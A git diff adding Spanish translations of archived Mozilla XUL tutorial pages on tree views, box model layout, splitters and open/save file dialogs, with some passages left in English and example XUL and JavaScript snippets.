+    document.getElementById('miArbol').view = vistaArbol;
+}
+&lt;/script&gt;
+
+&lt;tree id="miArbol" flex="1"&gt;
+  &lt;treecols&gt;
+    &lt;treecol id="colNombre" label="Nombre" flex="1"/&gt;
+    &lt;treecol id="colFecha" label="Fecha" flex="1"/&gt;
+  &lt;/treecols&gt;
+  &lt;treechildren/&gt;
+&lt;/tree&gt;
+
+&lt;/window&gt;
+</pre>
+<p>En la imagen, podemos ver dos columnas, cada una con datos generados por la función getCellText(). La función ponerVista() ha sido llamada en el gestor de eventos onload de la ventana. Tambíen hubieramos podido definir la vista más tarde si hubieramos querido. Podemos cambiar la vista en cualquier momento.</p>
+<p>Cabe especial mención que la función getCellText solo es llamada cuando es necesario para mostrar los contenidos. En el ejemplo anterior de 10.000 filas, getCellText solo es llamada para las celdas que se están mostrando actualmente. Cuando el usuario se desplaze por el árbol se irá llamando para las celdas que se pongan a la vista. Esto hace que el árbol sea mucho más eficiente.</p>
+<p>Tambíen podemos usar el objeto vista para árboles sin una vista personalizada. Por ejemplo, árboles construidos desde datos RDF tendrán un objeto vista que cogerá información de la fuente de datos RDF. Podemos usar el objeto vista para obtener información acerca de los datos mostrados por el árbol.</p>
+<p>El interfaz nsiTreeView (inglés) lista todas la propiedades y métodos que podemos implementar para las vistas de árbol.</p>
+<p>Siguiente, descubriremos como usar los comandos.</p>
+<p>NdT. según un comentario del tutorial del 5/3/05, el parametro Columna de la función getCellText() ya no es un string en las últimas versiones, sino un nsITreeColumn, el cual podemos obtener a través de columns.getNamedColumn(string)</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/detalles_del_modelo_de_caja/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/detalles_del_modelo_de_caja/index.html
new file mode 100644
index 0000000000..d97360678c
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/detalles_del_modelo_de_caja/index.html
@@ -0,0 +1,89 @@
+---
+title: Detalles del modelo de caja
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Detalles_del_modelo_de_caja
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Box_Model_Details
+---
+<p> </p>
+<p>Hemos visto gran cantidad de características del modelo de caja. Aquí descubriremos unos cuantos detalles más con algunos ejemplos.</p>
+<h3 id="M.C3.A1s_detalles_del_esquema" name="M.C3.A1s_detalles_del_esquema">Más detalles del esquema</h3>
+<p>Las propiedades de estilo como min-width y max-height pueden ser aplicadas a cualquier elemento. Las hemos añadido a botones y cajas de texto, también podemos añadirlas a espaciadores o cajas. Además, el atributo flex puede ser aplicado a cualquier elemento.</p>
+<h4 id="Ejemplo" name="Ejemplo">Ejemplo</h4>
+<pre>&lt;hbox flex="1"&gt;
+  &lt;button label="Izquierda" style="min-width: 100px;" flex="1"/&gt;
+  &lt;spacer flex="1"/&gt;
+  &lt;button label="Derecha" style="min-width: 100px;" flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>En el ejemplo anterior, los tres elementos se redimensionarán solos porque todos ellos son flexibles. Los dos botones indican un ancho mínimo de 100 píxeles, su tamaño nunca será inferior al indicado pero podrán crecer a mayor altura. Aquí la ventana debería aparecer con unos 200 píxeles de ancho, eso es suficiente para los dos botones. Ya que estos tres elementos son flexibles, pero no requieren un mayor lugar, la flexibilidad no agregará espacio extra.</p>
+<p><a href="/@api/deki/files/557/=Boxdet1.png" title="Image:boxdet1.jpg"><img alt="Image:boxdet1.jpg" class="internal default" src="/@api/deki/files/557/=Boxdet1.png"></a></p>
+<p>Como se muestra en la imagen anterior, hay dos botones que se expandirán verticalmente hasta acomodarse a su contenedor, que en éste caso es un <code><a class="external" href="http://www.xulplanet.com/references/elemref/ref_hbox.html">hbox</a></code>. El atributo <code>align</code> controla este comportamiento en una caja horizontal. También puede prevenirse esta expansión insertando una altura máxima en los elementos o, mejor aún, en la misma caja. Si una caja posee una altura máxima, los elementos dentro de la misma serán ceñidos a ella. Sin embargo, el problema con esto es que se deberá conocer de antemano qué tan grande será el elemento. Lo siguiente muestra el ejemplo anterior con un atributo <code>align</code> establecido.</p>
+<h4 id="Ejemplo_2" name="Ejemplo_2">Ejemplo</h4>
+<pre>&lt;hbox flex="1" align="top"&gt;
+  &lt;button label="Izquierda" style="min-width: 100px;" flex="1"/&gt;
+  &lt;spacer flex="1"/&gt;
+  &lt;button label="Derecha" style="min-width: 100px;" flex="1"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>Para lograr esquemas complicados, generalmente se necesitará añadir cajas anidadas, especificar tamaños mínimos y máximos en algunos elementos, y convertir a ciertos elementos en flexibles. La mejor internase es la que puede ser exhibida en varios tamaños sin problemas. El modelo de caja podría ser difícil de entender sin antes realizar varias cosas por uno mismo.</p>
+<p>A continuación una reseña de ambos tipos de cajas:</p>
+<p><strong>Cajas horizontales</strong></p>
+<ol>
+ <li>Sitúan sus elementos uno después del otro horizontalmente.</li>
+ <li>Los elementos flexibles se flexionan horizontalmente.</li>
+ <li>El empaque controla la colocación horizontal de los elementos hijos.</li>
+ <li>La alineación regula cómo la fila de elementos es alineada verticalmente.</li>
+</ol>
+<p><strong>Cajas verticales</strong></p>
+<ol>
+ <li>Ponen sus elementos verticalmente en una columna.</li>
+ <li>Los elementos flexibles se flexionan verticalmente.</li>
+ <li>El empaque controla la ubicación vertical de los elementos hijos.</li>
+ <li>La alineación regula cómo se alinea horizontalmente la columna de elementos hijos.</li>
+</ol>
+<p>Pueden ponerse cajas en cualquier parte de un archivo XUL, incluso dentro de un elemento HTML como una tabla; sin embargo, el esquema estará parcialmente controlado por el elemento HTML. Esto quiere decir que el <code>flex</code> podría no funcionar exactamente como se desee. Recuerde que la flexibilidad solo tiene significado para elementos que se encuentran directamente dentro de una caja o de algún elemento que sea un tipo de caja.</p>
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+<h4 id="1._Utilizaci.C3.B3n_de_espaciadores" name="1._Utilizaci.C3.B3n_de_espaciadores">1. Utilización de espaciadores</h4>
+<pre>&lt;hbox&gt;
+  &lt;button label="Uno"/&gt;
+  &lt;spacer style="width: 5px"/&gt;
+  &lt;button label="Dos"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>Aquí se utiliza un espaciador como separador entre dos botones, fijándole explícitamente un ancho de 5 píxeles. También podrían establecerse márgenes (usando la propiedad CSS <code>margin</code>).</p>
+<p>Here, a spacer is used as a separator between the two buttons, by setting an explicit width of 5 pixels. You could also set margins (using the CSS margin property).</p>
+<h4 id="2._Centrado_de_botones" name="2._Centrado_de_botones">2. Centrado de botones</h4>
+<pre>&lt;hbox pack="center" align="center" flex="1"&gt;
+  &lt;button label="¡Mírame!"/&gt;
+  &lt;button label="¡Presióname!"/&gt;
+&lt;/hbox&gt;
+</pre>
+<p>Este ejemplo contiene una caja horizontal flexible con dos botones en ella. La caja posee el atributo <code>pack</code> que se utiliza para centrar los botones horizontalmente. El atributo align alinea los botones verticalmente. El resultado es que los botones estarán centrados en la caja en ambas direcciones. Este ejemplo también funcionará con una caja vertical, aunque el segundo botón estará debajo del primero en lugar de a su lado.</p>
+<h4 id="3._Una_ventana_de_di.C3.A1logo_.E2.80.9CBuscar_texto.EF.BF.BD.3F" name="3._Una_ventana_de_di.C3.A1logo_.E2.80.9CBuscar_texto.EF.BF.BD.3F">3. Una ventana de diálogo “Buscar texto�?</h4>
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window id="buscartexto" title="Buscar Texto" orient="horizontal"
+        xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+
+  &lt;vbox flex="3"&gt;
+    &lt;label control="t1" value="Texto a buscar:"/&gt;
+    &lt;textbox id="t1" style="min-width: 100px;" flex="1"/&gt;
+  &lt;/vbox&gt;
+
+  &lt;vbox style="min-width: 150px;" flex="1" align="start"&gt;
+    &lt;checkbox id="c1" label="Ignorar mayúsculas/minúsculas"/&gt;
+    &lt;spacer flex="1" style="max-height: 30px;"/&gt;
+    &lt;button label="Buscar"/&gt;
+  &lt;/vbox&gt;
+
+&lt;/window&gt;
+</pre>
+<p>Aquí son creadas dos cajas verticales, una para la caja de texto y la otra para la casilla de verificación y el botón. La caja izquierda posee una flexibilidad que es tres veces mayor que la caja derecha así siempre recibirá el triple de espacio extra cuando se incremente el tamaño de la ventana. A la caja derecha se le impone un ancho mínimo de 150 píxeles.</p>
+<p>La caja de texto es flexible así podrá redimensionarse cuando la ventana lo haga, también se le ha impuesto un ancho mínimo de 100 píxeles. La casilla de verificación aparece a la derecha junto con su etiqueta. Justo debajo de esta caja hay un espaciador, el mismo crecerá y se reducirá pero sin exceder los 30 píxeles. El resultado es que la casilla de verificación y el botón de búsqueda estarán separados uno del otro por un espacio nunca mayor a 30 píxeles.</p>
+<p>La segunda caja posee un valor de alineación <code>start</code>, esto causa que los elementos hijos sean alineados en el borde izquierdo. Si esto fuera especificado, el valor por omisión sería <code>stretch</code>, lo que haría que los elementos se estiren horizontalmente. Como no queremos que el botón de búsqueda cambie su tamaño necesitamos especificar una alineación. <img alt="Image:boxdet-ex3.jpg"></p>
+<p>A continuación aprenderemos sobre un tipo da caja más especializado, la caja de grupo.</p>
+<p><span class="comment">Categorías</span></p>
+<p><span class="comment">links interwikis</span></p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/divisores/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/divisores/index.html
new file mode 100644
index 0000000000..729af7c557
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/divisores/index.html
@@ -0,0 +1,136 @@
+---
+title: Divisores
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Divisores
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Splitters
+---
+<p>Ahora podemos ver como añadir divisores/separadores a una ventana.</p>
+
+<h3 id="Divisi.C3.B3n_de_una_caja" name="Divisi.C3.B3n_de_una_caja">División de una caja</h3>
+
+<p>Hay momentos en los cuales se necesita tener dos secciones en la ventana donde el usuario pueda dimensionar las partes. Un ejemplo es la ventana del navegador de Mozilla, donde se puede cambiar el tamaño del panel lateral desplazando la línea de intersección de los cuadros. También se puede esconder, picando la cruz del panel.</p>
+
+<h4 id="El_elemento_separador" name="El_elemento_separador">El elemento separador</h4>
+
+<p>Ésta funcionalidad es cumplida utilizando un elemento llamado un <code><a href="es/XUL/splitter">splitter</a></code>. Este elemento crea una barra fina entre los dos cuadros, lo cual permite dimensionar estos. Se puede poner un separador donde se quiera o necesite para permitir dimensionar los elementos situados antes o después de él en una misma caja.</p>
+
+<p>Cuando un separador se coloca en una caja horizontal, permite dimensionar horizontalmente. Si se coloca en una caja vertical, permite dimensionar verticalmente.</p>
+
+<p>La sintaxis de un separador es la siguiente:</p>
+
+<pre>&lt;splitter
+    id="identifier"
+    state="open"
+    collapse="before"
+    resizebefore="closest"
+    resizeafter="closest"&gt;
+</pre>
+
+<p>Los atributos son los que siguientes:</p>
+
+<dl>
+ <dt><a href="es/XUL/Atributos/id">id</a></dt>
+ <dd>El identificador único de este separador.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/XUL/Atributos/state">state</a></dt>
+ <dd>Indica el estado del separador. Se pone en <code>open</code>, que es la opción por defecto, si se quiere que el panel dimensionable esté inicialmente abierto o en <code>collapsed</code> para que uno de los paneles sea completamente reducido y que el otro ocupe (colapse) todo el espacio.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/XUL/Atributos/collapse">collapse</a></dt>
+ <dd>Indica de que lado el panel debe reducirse cuando el separador es agarrado o iniciado en estado de colapse. Se definirá en <code>before</code> para designar elemento anterior al separador y en <code>after</code> para el elemento posterior. Poniéndolo en <code>none</code>, lo cual es la opción por defecto, el separador al ser agarrado no reducirá los paneles.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/XUL/Atributos/resizebefore">resizebefore</a></dt>
+ <dd>Cuando un separador es desplazado, los elementos a su izquierda (o encima) cambian de dimensiones. Éste atributo indica cual de los elementos puede dimensionarse. Para que el elemento inmediatamente a la izquierda del separador sea dimensionado, se definirá en <code>closest</code> (el valor por defecto) y en <code>farthest</code> para que sea el elemento más lejos a la izquierda (el primer elemento en la caja) el que sea dimensionado.</dd>
+</dl>
+
+<dl>
+ <dt><a href="es/XUL/Atributos/resizeafter">resizeafter</a></dt>
+ <dd>Cuando un separador es desplazado, los elementos a su derecha (o debajo) cambian de dimensiones. Éste atributo indica cual de los elementos puede dimensionarse. Para que el elemento inmediatamente a su derecha sea dimensionado, se definirá en <code>closest</code> (el valor por defecto) y en <code>farthest</code> para que sea el elemento más lejos a derecha (el último elemento en la caja) el que sea dimensionado. Éste atributo también se puede definir en <code>grow</code>, en este caso los elementos a su derecha no cambiarán de tamaño al mover el separador, pero si la caja entera.</dd>
+</dl>
+
+<p>Si se pone el atributo <code><a href="es/XUL/Atributos/collapse">collapse</a></code>, se añadirá también el elemento <code><a href="es/XUL/grippy">grippy</a></code> dentro del <code>splitter</code> para permitir que el usuario pueda utilizar el separador.</p>
+
+<h4 id="Ejemplo_con_separador" name="Ejemplo_con_separador">Ejemplo con separador</h4>
+
+<p>Aquí un ejemplo que puede ayudar:</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_splitter_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_splitter_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;vbox flex="1"&gt;
+  &lt;iframe id="content-1" width="60" height="20" src="w1.html"/&gt;
+  &lt;splitter collapse="before" resizeafter="farthest"&gt;
+    &lt;grippy/&gt;
+  &lt;/splitter&gt;
+  &lt;iframe id="content-2" width="60" height="20" src="w2.html"/&gt;
+  &lt;iframe id="content-3" width="60" height="20" src="w3.html"/&gt;
+  &lt;iframe id="content-4" width="60" height="20" src="w4.html"/&gt;
+&lt;/vbox&gt;
+</pre>
+
+<div class="float-right"><img alt="Image:splitter-ex1.jpg"></div>
+
+<p>Aquí, cuatro marcos han sido creados y un separador colocado entre el primero y el segundo. El atributo de <code><a href="es/XUL/Atributos/collapse">colapso</a></code> se ha definido en el valor <code>before</code>, para que si el separador es agarrado, el primer cuadro desaparezca y que el divisor y los marcos restantes se desplacen a la izquierda. El punto del cursor para mover el separador es centrado en relación a él-mismo.</p>
+
+<p>Al separador se le ha dado un valor <code><a href="es/XUL/Atributos/resizeafter">resizeafter</a></code> de <code>farthest</code>. Ésto hace que cuando el separador es movido, el elemento más lejos a su derecha cambiará de tamaño, en este caso el cuadro 4.</p>
+
+<p>A value has not been specified for <code><a href="es/XUL/Atributos/resizebefore">resizebefore</a></code> so it will default to a value of <code>closest</code>. In this case, there is only one frame before the splitter, so frame 1 will change size.</p>
+
+<p>Frames 2 and 3 will only change size if you drag the splitter far enough to the right that frame 4 has reached its minimum size.</p>
+
+<div class="float-right"><img alt="Image:splitter-ex2.jpg"></div>
+
+<p>This image shows the 4 panels with the splitter in a collapsed state.</p>
+
+<div class="float-right"><img alt="Image:splitter-ex3.jpg"></div>
+
+<p>This image shows the 4 panels with the splitter resized to the right. Notice how the middle two panels have not changed size. Only panel 1 and panel 4 have changed size. You can just see part of the fourth panel. If you continue to drag the splitter to the right, the other two panels will shrink.</p>
+
+<p>You can use the style properties such as <code>min-width</code>, <code>max-height</code> on the iframes to specify minimum or maximum widths or heights in the box. If you do, the splitter will detect this and not allow the user to drag the splitter past the minimum and maximum sizes.</p>
+
+<p>For example, if you specified a minimum width of 30 pixels on panel 4 above, it would not shrink below that size. The other two panels would have to shrink. If you set the minimum width of panel 1 to 50 pixels, you would only be able to drag the splitter 10 pixels to the left (as it starts at 60 pixels wide). You can still collapse the splitter however.</p>
+
+<p>You can also place more than one splitter in a box if you want, in which case you could collapse different parts of it. Similarly, you do not have to collapse just iframes. Any element can be collapsed.</p>
+
+<h3 id="Nuestro_ejemplo_de_b.C3.BAsqueda" name="Nuestro_ejemplo_de_b.C3.BAsqueda">Nuestro ejemplo de búsqueda</h3>
+
+<div class="highlight">
+<p>Let's see what the find file dialog looks like with a splitter in it. One possibility would be to add the results of the search in the dialog. We'll add an area in-between the search criteria and the buttons along the bottom. A splitter will allow you to collapse, or hide, the search results.</p>
+
+<pre class="eval">&lt;/tabbox&gt;
+
+ <span class="highlightred">&lt;iframe src="results.html"/&gt;
+ &lt;splitter resizeafter="grow"/&gt;</span>
+
+ &lt;hbox&gt;
+</pre>
+
+<p>Here, a splitter and an iframe have been added to the dialog. We don't need the <code><a href="es/XUL/spacer">spacer</a></code> after the <code><a href="es/XUL/tabbox">tabbox</a></code> any more so we can remove it. The content of the frame is contained in a file called 'results.html'. Create this file and put whatever you want in it for now. The iframe will be replaced <a href="es/Tutorial_de_XUL/%c3%81rboles">más tarde</a> with a results list when we know how to create it. For now, it serves to demonstrate the splitter.</p>
+
+<p>The splitter has been set to a <code>collapse</code> value of <code>before</code> meaning that the element just before the splitter will collapse. Here, it is the iframe. As the images below show, when the grippy is clicked, the iframe is collapsed and the buttons shuffle up.</p>
+
+<p>The <code>resizeafter</code> attribute has been set to <code>grow</code> so that the elements after the splitter push themselves down when the splitter is dragged down. This results in the content of the frame growing to any size. It should be noted that the window does not resize itself automatically. You'll also notice that this is a horizontal splitter because it has been placed in a vertical box.</p>
+
+<p>Estado normal:</p>
+
+<p><img alt="Image:splitter1.png"></p>
+
+<p>Estado colapsado:</p>
+
+<p><img alt="Image:splitter2.png"></p>
+
+<p><strong>Nuestro ejemplo</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-splitter.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-splitter.xul">Ver en funcionamiento</a></p>
+</div>
+
+<p><br>
+ </p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Paneles_de_contenidos" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Barras_de_desplazamiento">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/diálogos_abrir_y_guardar/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/diálogos_abrir_y_guardar/index.html
new file mode 100644
index 0000000000..ee9354c54b
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/diálogos_abrir_y_guardar/index.html
@@ -0,0 +1,85 @@
+---
+title: Diálogos Abrir y Guardar
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Diálogos_Abrir_y_Guardar
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Open_and_Save_Dialogs
+---
+<p>Un tipo común de diálogo es aquello donde el usuario puede elegir un archivo para abrirlo o guardarlo.</p>
+
+<h3 id="Selectores_de_archivos" name="Selectores_de_archivos">Selectores de archivos</h3>
+
+<p>Un selector de archivos es un diálogo que permite al usuario seleccionar un archivo. Generalmente se utiliza para las órdenes de menú: Abrir y Guardar, pero se pueden utilizar en cualquier lugar en que el usuario necesita elegir un archivo. Para implementar el selector de archivos se utiliza la interfaz <a href="es/NsIFilePicker">nsIFilePicker</a> de <a href="es/XPCOM">XPCOM</a>.</p>
+
+<p>Se puede usar el selector de archivos de un modo de los tres siguientes:</p>
+
+<ul>
+ <li>Abrir: se le pide al usuario que seleccione un archivo.</li>
+ <li>Seleccionar carpeta/directorio: se le pide al usuario que seleccione una carpeta.</li>
+ <li>Guardar: se le pide al usuario que seleccione un nombre para guardar el archivo.</li>
+</ul>
+
+<p>La apariencia del diálogo será distinta en cada tipo y variará en cada plataforma. Cuando el usuario ha seleccionado un archivo o una carpeta, lo puede leer o escribir en él.</p>
+
+<p>La interfaz del selector de archivo nsIFilePicker es la encargada de mostrar el diálogo en uno de los tres modos. Usando la interfaz se puede configurar una serie de características del diálogo. Cuando se cierra el diálogo, se pueden usar las funciones de la interfaz para obtener el archivo que fue seleccionado.</p>
+
+<h4 id="Creando_un_selector_de_archivo" name="Creando_un_selector_de_archivo">Creando un selector de archivo</h4>
+
+<p>Para empezar, debes crear un componente selector de archivos e iniciarlo.</p>
+
+<pre>var nsIFilePicker = Components.interfaces.nsIFilePicker;
+var fp = Components.classes["@mozilla.org/filepicker;1"]
+      .createInstance(nsIFilePicker);
+fp.init(window, "Select a File", nsIFilePicker.modeOpen);
+</pre>
+
+<p>Primero, se crea un nuevo objeto selector de archivos y es almacenado en la variable ‘fp’. La función ‘init’ se usa para iniciar el selector de archivos. Esta función toma tres argumentos, la ventana que está abriendo el diálogo, el título del diálogo y el modo. Aquí el modo es <code>modeOpen</code> (modoAbrir) el cual es usado para un diálogo Abrir. También se puede usar <code>modeGetFolder</code> (modoObtenerCarpeta) y <code>modeSave</code> (modoGuardar) para los otros dos modos. Estos modos son constantes de la interfaz <code>nsIFilePicker</code>.</p>
+
+<h4 id="Directorio_y_filtros_por_defecto" name="Directorio_y_filtros_por_defecto">Directorio y filtros por defecto</h4>
+
+<p>Hay dos características del diálogo que se pueden configurar antes de que se muestre.</p>
+
+<ul>
+ <li>La primera es el directorio por defecto que se muestra cuando el diálogo es abierto.</li>
+ <li>La segunda es un filtro que indica la lista de archivos que se muestran en el diálogo. Este se puede usar, por ejemplo, para ocultar todos los archivos menos los archivos HTML.</li>
+</ul>
+
+<p>Se puede configurar el directorio por defecto con la propiedad <code>displayDirectory</code> del objeto selector de archivos. El directorio debe ser un objeto <code><a href="es/NsILocalFile">nsILocalFile</a></code>. Si no asignas ningún valor, un directorio por defecto será escogido automáticamente. Para agregar filtros, se llama la función <code>apeendFilters()</code> para configurar los tipos de archivos que se desea mostrar.</p>
+
+<pre>fp.appendFilters(nsIFilePicker.filterHTML | nsIFilePicker.filterImages);
+fp.appendFilters(nsIFilePicker.filterText | nsIFilePicker.filterAll);
+</pre>
+
+<p>El primer ejemplo agrega filtros para archivos HTML e imágenes. Al usuario se le permitirá seleccionar sólo esos tipos de archivos. La forma de realizar esto depende de la plataforma. En algunas plataformas, cada filtro será separado y el usuario podrá seleccionar entre archivos HTML e imágenes. El segundo ejemplo agrega filtros para archivos de texto y para todos los archivos. Luego el usuario tiene la opción de elegir entre mostrar solo los archivos de texto o todos los archivos.</p>
+
+<p>También se puede usar <code>filterXML</code> y <code>filterXUL</code> para filtrar archivos XML y XUL. Si se desea crear un filtro en particular se puede utilizar la función <code>appendFilter()</code> de la siguiente manera:</p>
+
+<pre>fp.appendFilter("Audio Files","*.wav; *.mp3");
+</pre>
+
+<p>Esta línea agregará un filtro para archivos WAV y MP3. El primer argumento es el título del tipo de archivos y el segundo es una lista de máscaras de archivos separadas por punto y coma. Se puede agregar más o menos máscaras como sea necesario. También se puede llamar la función appendFilters tantas veces como sea necesario para agregar filtros adicionales. El orden en que se agregan determina su prioridad. Generalmente, el primero que se agrega es seleccionado por defecto.</p>
+
+<h4 id="Conseguir_el_archivo_seleccionado" name="Conseguir_el_archivo_seleccionado">Conseguir el archivo seleccionado</h4>
+
+<p>Finalmente, se puede mostrar el diálogo llamando la función ‘show’. No toma ningún parámetro pero devuelve un código de estado que indica que eligió el usuario. Note que la función no devuelve hasta que el usuario haya seleccionado un archivo. La función devuelve una de las tres siguientes constantes:</p>
+
+<ul>
+ <li><strong>returnOK</strong>: el usuario seleccionó un archivo y presionó Aceptar. El archivo seleccionado será almacenado en la propiedad ‘file’ del selector de archivos.</li>
+ <li><strong>returnCancel</strong>: el usuario presionó Cancelar.</li>
+ <li><strong>returnReplace</strong>: en el modo guardar (save), este valor de retorno indica que el usuario ha seleccionado un archivo para reemplazarlo. (returnOK será devuelto cuando el usuario haya ingresado un nombre nuevo para el archivo).</li>
+</ul>
+
+<p>Se debería revisar el valor retornado para luego recuperar el objeto del archivo desde el selector de archivos usando la propiedad <code>file</code>.</p>
+
+<pre>var res = fp.show();
+if (res == nsIFilePicker.returnOK){
+  var thefile = fp.file;
+  // --- do something with the file here ---
+}
+</pre>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Creando_Diálogos" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Creando_un_asistente">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/el_modelo_de_caja/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/el_modelo_de_caja/index.html
new file mode 100644
index 0000000000..4ed1b2660f
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/el_modelo_de_caja/index.html
@@ -0,0 +1,192 @@
+---
+title: El modelo de caja
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/El_modelo_de_caja
+translation_of: Archive/Mozilla/XUL/Tutorial/The_Box_Model
+---
+<p>{{ PreviousNext("Escuela_XUL/Agregar_eventos_y_comandos", "Escuela_XUL/Agregar_ventanas_y_dialogos") }}</p>
+
+<p>In order to master XUL, you'll need to have a fairly good understanding of its <a href="/en/XUL_Tutorial/The_Box_Model" title="en/XUL Tutorial/The Box Model">Box Model</a>. This is the system that determines how all elements are laid out visually in a XUL document. It is important to know how it works in order to make interfaces that are easy to localize, skin and use in different types of operating systems, screen sizes and resolutions.</p>
+
+<p>The XUL box model is a significant improvement over the HTML layout model, which is mostly vertical. With XUL you can define vertically oriented as well as horizontally oriented interfaces, providing greater flexibility in interface design.</p>
+
+<p>Any XUL interface can be broken down into the following basic components:</p>
+
+<ul>
+ <li>Boxes</li>
+ <li>Text</li>
+ <li>Images</li>
+ <li>Alignment and flexibility</li>
+ <li>Widths and heights</li>
+ <li>Margins and paddings</li>
+</ul>
+
+<p>Menus, toolbar buttons, and even the most complex elements in XUL are composed of these simple ingredients. Complex elements are created from simpler ones through XBL, which will be covered later on. Once you grasp this simple idea, you'll be able to use the DOM Inspector and CSS to mold XUL elements and layouts with great precision and flexibility.</p>
+
+<p>Most of the examples shown in the rest of this section were generated using the <a href="/samples/xultu/examples/aligner.xul" title="samples/xultu/examples/aligner.xul">XUL Box Alignment Example</a>. We recommend you play around with it for a while to get an idea of how the basic parts of the box model work.</p>
+
+<h2 id="Boxes">Boxes</h2>
+
+<p>A XUL box is very similar to an HTML <em>div</em>. It's an invisible rectangular container with no styling at all (<em>divs</em> may have some default styling, though). Their behavior is similar. However, one of the fundamental differences between XUL and HTML is the fact that XUL boxes can be vertically oriented (like <em>divs</em>) or horizontally oriented (unlike <em>divs</em>).</p>
+
+<p>There are 3 basic box elements in XUL: <a href="/en/XUL/hbox" title="en/XUL/hbox">hbox</a>, <a href="/en/XUL/vbox" title="en/XUL/vbox">vbox</a> and <a href="/en/XUL/box" title="en/XUL/box">box</a>. An <em>hbox</em> is oriented horizontally by default, meaning that its child nodes are displayed next to each other from left to right. A <em>vbox</em> is oriented vertically by default, its child nodes displayed one below the other from top to bottom. A <em>box</em> is a generic version that you can orient as you please, but its default is horizontal orientation, so it's pretty much equivalent to an <em>hbox</em> and it is seldom used.</p>
+
+<p>Here's a very simple example of an <em>hbox</em> with 3 child buttons:</p>
+
+<pre>&lt;hbox&gt;
+  &lt;button label="Cat" /&gt;
+  &lt;button label="Parrot" /&gt;
+  &lt;button label="Porcupine" /&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p>This is how it looks on Mac OS (the black border was added for illustrative purposes, boxes don't have borders by default):</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4199/=box1.png" style="height: 64px; width: 303px;"></p>
+
+<p>If you use a <em>vbox</em> instead, it looks like this:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4200/=box2.png" style="height: 132px; width: 121px;"></p>
+
+<p>The orientation of boxes (and most XUL elements) can be controlled using the <a href="/en/XUL/Attribute/orient" title="en/XUL/Attribute/orient">orient</a> attribute or the <a href="/en/CSS/box-orient" title="en/CSS/-moz-box-orient">-moz-box-orient</a> CSS property. With these you can make an <em>hbox</em> have vertical orientation and viceversa, although that isn't very useful. The CSS property may be useful on some occasions, but using the orient attribute is not recommended because it mixes content and presentation.</p>
+
+<h2 id="Flexibility"> Flexibility</h2>
+
+<p>An HTML <em>div</em> is as big as its contents unless you override its dimensions using CSS. This is similarly the case for XUL, except there are two flexibility directions to consider. An <em>hbox</em> is as big as its contents horizontally, but it will occupy all the available space vertically. You can make an <em>hbox</em> flexible horizontally with the CSS property <a href="/en/CSS/box-flex" title="en/CSS/-moz-box-flex">-moz-box-flex</a> or the <a href="/en/XUL/Attribute/flex" title="en/XUL/Attribute/flex">flex</a> attribute. The same applies to a <em>vbox</em>, but in the other direction.</p>
+
+<p>Unlike most style attributes, the <em>flex</em> attribute is considered acceptable to use in XUL code. This is because this attribute is used much too often, and it would require a great deal of CSS code to avoid using it. At any rate, it can always be overriden using CSS, so your extension won't lose skinability because of it.</p>
+
+<p>Flexibility is defined as a numeric value. The default value for most elements is 0, which means that the element will not stretch in the direction of its orientation, and its size in that dimension will be determined by its contents and padding. If you want an element to be flexible, you should set its flexibility to 1. This makes the element stretch to occupy as much available space there is in the direction of its orientation. If we add flexibility to the hbox in our first example, we get the following result:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4201/=hboxflex.png" style="height: 64px; width: 585px;"></p>
+
+<p>The box flexes to cover the available horizontal space. The buttons maintain their size.</p>
+
+<p>If we also add flexibility to the "Cat" button, this is what we get:</p>
+
+<p><img alt="" class="internal" src="/@api/deki/files/4202/=catflex.png" style="height: 64px; width: 585px;"></p>
+
